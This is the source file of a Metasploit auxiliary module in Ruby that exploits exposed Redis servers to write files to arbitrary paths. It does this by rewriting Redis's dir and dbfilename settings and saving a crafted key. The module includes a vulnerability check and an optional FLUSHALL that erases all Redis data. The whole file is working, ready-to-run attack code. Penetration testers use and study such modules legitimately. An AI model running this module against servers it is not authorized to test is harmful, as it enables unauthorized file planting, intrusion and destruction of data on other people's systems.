metasploit-framework/modules/auxiliary/scanner/redis/file_upload.rb

168 lines
6.8 KiB
Ruby

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Redis
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Redis File Upload',
'Description' => %q(
This module can be used to leverage functionality exposed by Redis to
achieve somewhat arbitrary file upload to a file and directory to
which the user account running the redis instance has access. It is
not totally arbitrary because the exact contents of the file cannot
be completely controlled given the nature of how Redis stores its
database on disk.
),
'License' => MSF_LICENSE,
'Author' => [
'Nixawk', # original metasploit module
'Jon Hart <jon_hart[at]rapid7.com>' # improved metasploit module
],
'References' => [
['URL', 'http://antirez.com/news/96'],
['URL', 'http://blog.knownsec.com/2015/11/analysis-of-redis-unauthorized-of-expolit/'],
['URL', 'http://redis.io/topics/protocol']
],
'Privileged' => true,
'DisclosureDate' => 'Nov 11 2015'
)
)
register_options(
[
OptPath.new('LocalFile', [false, 'Local file to be uploaded']),
OptString.new('RemoteFile', [false, 'Remote file path']),
OptBool.new('DISABLE_RDBCOMPRESSION', [true, 'Disable compression when saving if found to be enabled', true]),
OptBool.new('FLUSHALL', [true, 'Run flushall to remove all redis data before saving', false])
]
)
end
def send_file(path, content)
# XXX: refactor this to handle redis errors or exceptions in a cleaner manner
dirname = File.dirname(path)
basename = File.basename(path)
# Get the currently configured dir and dbfilename before we overwrite them;
# we should set them back to their original values after we are done.
# XXX: this is a hack -- we should really parse the responses more correctly
original_dir = (redis_command('CONFIG', 'GET', 'dir') || '').split(/\r\n/).last
original_dbfilename = (redis_command('CONFIG', 'GET', 'dbfilename') || '').split(/\r\n/).last
if datastore['DISABLE_RDBCOMPRESSION']
original_rdbcompression = (redis_command('CONFIG', 'GET', 'rdbcompression') || '').split(/\r\n/).last
end
# set the directory which stores the current redis local store
data = redis_command('CONFIG', 'SET', 'dir', dirname) || ''
return unless data.include?('+OK')
# set the file name, relative to the above directory name, that is the redis local store
data = redis_command('CONFIG', 'SET', 'dbfilename', basename) || ''
return unless data.include?('+OK')
# Compression string objects using LZF when dump .rdb databases ?
# For default that's set to 'yes' as it's almost always a win.
# If you want to save some CPU in the saving child set it to 'no' but
# the dataset will likely be bigger if you have compressible values or
# keys.
if datastore['DISABLE_RDBCOMPRESSION'] && original_rdbcompression.upcase == 'YES'
data = redis_command('CONFIG', 'SET', 'rdbcompression', 'no') || ''
if data.include?('+OK')
reset_rdbcompression = true
else
print_error("#{peer} -- Unable to disable rdbcompresssion")
reset_rdbcompression = false
end
end
if datastore['FLUSHALL']
data = redis_command('FLUSHALL') || ''
unless data.include?('+OK')
print_warning("#{peer} -- failed to flushall(); continuing")
end
end
# set a key in this db that contains our content
# XXX: this does not work well (at all) if the content we are uploading is
# multiline. It also probably doesn't work well if the content isn't
# simple ASCII text
key = Rex::Text.rand_text_alpha(32)
data = redis_command('SET', key, content) || ''
return unless data.include?('+OK')
data = redis_command('SAVE') || ''
if data.include?('+OK')
print_good("#{peer} -- saved #{content.size} bytes inside of redis DB at #{path}")
else
print_error("#{peer} -- failed to save #{content.size} bytes to #{path} (permissions?)")
return
end
# cleanup
# XXX: ensure that these get sent if we prematurely return if a previous command fails
redis_command('CONFIG', 'SET', 'dir', original_dir)
redis_command('CONFIG', 'SET', 'dbfilename', original_dbfilename)
if datastore['DISABLE_RDBCOMPRESSION'] && reset_rdbcompression
redis_command('CONFIG', 'SET', 'rdbcompression', original_rdbcompression)
end
redis_command('DEL', key)
redis_command('SAVE')
end
def check
connect
# they are only vulnerable if we can run the CONFIG command, so try that
return Exploit::CheckCode::Safe unless (config_data = redis_command('CONFIG', 'GET', '*')) && config_data =~ /dbfilename/
if (info_data = redis_command('INFO')) && /redis_version:(?<redis_version>\S+)/ =~ info_data
report_redis(redis_version)
end
Exploit::CheckCode::Vulnerable
ensure
disconnect
end
def setup
# this is the content we will upload if not running 'check'. We are
# setting a key/value pair in the database to something such that when the
# redis db is saved, the contents of what we are uploading will appear
# intact in the middle of the db itself. The hope is that something
# interpretting this file will ignore or be OK-enough with the rest of the
# file such that what we uploaded will be interpretted as if it contained
# only the contents of what we uploaded. For example, here is a nearly
# empty redis database that started with a single key (foo) value (bar)
# pair, and the contents of what we uploaded was the current date:
#
# 00000000 52 45 44 49 53 30 30 30 31 fe 00 00 03 66 6f 6f |REDIS0001....foo|
# 00000010 03 62 61 72 00 20 6a 6b 59 47 44 74 56 6a 68 53 |.bar. jkYGDtVjhS|
# 00000020 6e 57 4f 78 76 58 72 73 6a 71 58 4f 43 52 43 6c |nWOxvXrsjqXOCRCl|
# 00000030 66 4b 6a 54 73 47 1e 0a 54 68 75 20 44 65 63 20 |fKjTsG..Thu Dec |
# 00000040 31 30 20 30 39 3a 30 35 3a 32 39 20 50 53 54 20 |10 09:05:29 PST |
# 00000050 32 30 31 35 0a ff
#
# as you can see, the current date exists on its own on a separate line
@upload_content = "\n#{IO.read(datastore['LocalFile']).strip}\n" if datastore['LocalFile']
end
def run_host(_ip)
fail_with(Failure::BadConfig, "LocalFile must be set") unless datastore['LocalFile']
fail_with(Failure::BadConfig, "RemoteFile must be set") unless datastore['RemoteFile']
return unless check == Exploit::CheckCode::Vulnerable
begin
connect
send_file(datastore['RemoteFile'], @upload_content)
ensure
disconnect
end
end
end